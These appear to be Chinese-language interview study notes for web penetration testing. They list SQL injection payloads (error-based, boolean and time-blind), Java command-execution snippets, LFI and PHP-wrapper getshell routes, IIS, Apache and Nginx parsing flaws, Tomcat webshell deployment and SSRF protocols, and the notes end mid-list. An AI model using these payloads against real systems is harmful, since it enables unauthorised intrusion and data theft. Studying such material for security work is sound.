面试
[TOC]
sql server
SQL服务器角色
sysadmin 可以在 SQL Server 中执行任何活动。
serveradmin 可以设置服务器范围的配置选项,关闭服务器。
setupadmin 可以管理链接服务器和启动过程。
securityadmin 可以管理登录和CREATE、DATABASE权限,还可以读取错误日志和更改密码。
processadmin 可以管理在 SQL Server 中运行的进程。
dbcreator 可以创建、更改和除去数据库。
diskadmin 可以管理磁盘文件。
bulkadmin 可以执行 BULK INSERT 语句。
数据库角色
db_owner 数据库中有全部权限。
db_accessadmin 可以添加或删除用户 ID。
db_securityadmin 可以管理全部权限、对象所有权、角色和角色成员资格。
db_ddladmin 可以发出ALL DDL,但不能发出GRANT、REVOKE或DENY语句。
db_backupoperator 可以发出 DBCC、CHECKPOINT 和 BACKUP 语句。
db_datareader 可以选择数据库内任何用户表中的所有数据。
db_datawriter 可以更改数据库内任何用户表中的所有数据。
db_denydatareader 不能选择数据库内任何用户表中的任何数据。
db_denydatawriter 不能更改数据库内任何用户表中的任何数据。
一般使用sa(登录名)或Windows administration(Windows 集成验证登陆方式)登陆,这种登录名具有最高的服务器角色,可对服务器进行任何操作,登录名具有的用户名是dbo(系统级),具有对所有用户创建的数据库中的数据进行一切操作权限。
用户 db_owner、sysadmin、public、serveradmin 、secadmin、sa
Mysql
库名 information_schema.schemata
表名 information_schenma.tables
表字段名 information_schenam.columns
版本 version()或者 @@version
当前数据库 database()
报错注入常用函数
floor
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
ExtractValue(有长度限制,最长32位)
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
UpdateXml(有长度限制,最长32位)
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
NAME_CONST(适用于低版本,不太好用)
?id=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x)))
polygon
mysql> select * from users where username=""and polygon (password);
ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`password`' value found during parsing
时间盲注常用函数
sleep()
benchmark()
order by后注入
报错注入
1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
bool盲注
order by IF((bool),1,(select 1 union select 2))
延时盲注
不推荐,因为每条数据都会执行延时,能用其他方法就不使用延时。
order by IF(1,sleep(3),0);
两条数据延时了6秒
redis
通常而言目前的数据库分类有几种,包括 SQL/NSQL,,关系数据库,键值数据库等等 等,分类的标准也不以,Redis本质上也是一种键值数据库的,但它在保持键值数据库简单快捷特点的同时,又吸收了部分关系数据库的优点。从而使它的位置处于关系数据库和键值数 据库之间。Redis不仅能保存Strings类型的数据,还能保存Lists类型(有序)和Sets类型(无序)的数据,而且还能完成排序(SORT) 等高级功能,在实现INCR,SETNX等功能的时候,保证了其操作的原子性,除此以外,还支持主从复制等功能。 Redis的优点 性能极高 – Redis能支持超过 100K+ 每秒的读写频率。 丰富的数据类型 – Redis支持二进制案例的 Strings, Lists, Hashes, Sets 及 Ordered Sets 数据类型操作。 原子 – Redis的所有操作都是原子性的,同时Redis还支持对几个操作全并后的原子性执行。 丰富的特性 – Redis还支持 publish/subscribe, 通知, key 过期等等特性。 Redis的缺点 是数据库容量受到物理内存的限制,不能用作海量数据的高性能读写,因此Redis适合的场景主要局限在较小数据量的高性能操作和运算上。 总结: Redis受限于特定的场景,专注于特定的领域之下,速度相当之快,目前还未找到能替代使用产品。
Redis 客户端的基本语法为:
$ redis-cli
如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli 命令。
语法
$ redis-cli -h host -p port -a password
有时候会有中文乱码。
要在 redis-cli 后面加上 –raw
redis-cli --raw
java命令执行
- Runtime().exec() T(java.lang.Runtime).getRuntime().exec(“calc”)
-
Proccess.builder() new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
- java.lang.ProcessImpl
- javax.script.ScriptEngineManager
本地文件包含
1.包含上传文件getshell
2.包含日志文件getshell
3.包含/tmp文件(需爆破文件名)
4.利用PHP伪协议getshell
php伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
敏感
allow_url_fopen :off/on
allow_url_include:off/on
策略 与 CSP
所谓同源是指:域名、协议、端口相同。
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。
cookie
domain、path、expires过期时间、size 浏览器对cookies数量的限制、httponly则这个Cookie无法被JavaScript读取、secure 属性用来指定Cookie只能在加密协议HTTPS下发送到服务器
CDN
CDN的关键技术主要有内容存储和分发技术
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术
-
多地ping
-
nslookup 进行检测,原理同上,如果返回域名解析对应多个 IP 地址多半是使用了 CDN
- dns 历史记录
- securitytrails 平台
- 网站探针等
- 服务器主动连接我们(ssrf xss 邮件)
- web应用debug报错(laravel tp )
- 敏感信息泄漏
源码泄露
- git源码泄露
- svn源码泄露
- hg源码泄漏
- CVS泄露
- Bazaar/bzr泄露
- 网站备份压缩文件
WEB-INF/web.xml
泄露- DS_Store 文件泄露
- SWP 文件泄露
- GitHub源码泄漏
- index.php~
- .index.php.swp
状态码
200
201 created
301 永久移动
302 暂时重定向 搜索引擎会抓取新的内容而保留旧的地址
400
401 未授权
403
404
405 method not allowed
500 服务器内部错误
502 错误网关
503 服务器不可用
主动扫描 与 被动扫描
漏洞扫描器有被动或主动两种形式,不管哪种设备都有其弊端和好处。被动扫描器通过嗅探不同网络系统之间传输的数据通信来扫描设备,查找任何异常的通信。这样做的好处是对网络的运营没有影响,因而必要的话可以全天候工作,但可能会遗漏网络中某些系统(特别是不常联机的设备)中的漏洞。
主动的扫描器探测系统的方式与黑客的探测方式如出一辙,通过向客户的网络系统发送通信,进而查找有响应的设备中的漏洞。其工作方式更加积极主动,在某些方面比起被动扫描器更加彻底,但是却有可能引起服务中断或服务器崩溃
中间件漏洞
IIS中间件漏洞
1.IIS 6.0 解析漏洞
1.利用特殊符号“;”
这个6.0版本的IIS在处理特殊符号“;”会出现逻辑错误,比如文件名为 1.asp;.jpg ,但是会被当做asp文件执行
(1)上传一个名为ss.asp;.jpg的图片,内容为asp的代码
(2)访问上传的文件
2.文件夹命名为xxx.asp
访问xxx.asp这个文件夹下的一个含有asp代码的图片
发现asp代码被正常解析了,因为IIS6.0如果有一个目录以“xxx.asp”这种格式命名,那么该目录下的所有类型文件都会被当做asp文件来解析
IIS 7.5 解析漏洞
1、漏洞原理及利用
当服务器开启了”cgi.fix_pathinfo”功能,就会对路径进行修剪。
例如:上传一个内容为的文件,后缀为jpg,正常情况下这个文件无法被php解析
但是如果我们在访问这个文件的时候在后缀后面+/.php,服务器发现后缀是.php,便交给php处理
php发现这个路径无法访问,就会进行修剪,会去掉/.php,最终会用php去解析test.jpg文件
Apache
Apache换行解析漏洞
0x0a(换行)
1.0x0a
.php
Apache多后缀解析漏洞
影响版本:使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。
nginx-目录遍历漏洞
我们首先需要将nginx的配置文件nginx.conf中autoindex off;改为on
目录穿越
漏洞简介:
Nginx
在配置别名(Alias)的时候,如果忘记加/
,将造成一个目录穿越漏洞
配置不当:
在如下配置中设置目录别名时/test
配置为/home/
的别名,那么当我们访问/test../
时,nginx
实际处理的路径时/home/../
,从而实现了穿越目录
修复方法:
将Nginx
配置文件中的/test
改为/test/
(闭合)
Tomcat
远程代码执行
漏洞简介及成因
Tomcat启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行
后台弱口令war包部署
漏洞简介及成因
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。
SSRF(服务端请求伪造)
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞
goper协议:流量转发
file协议:读文件
dict协议: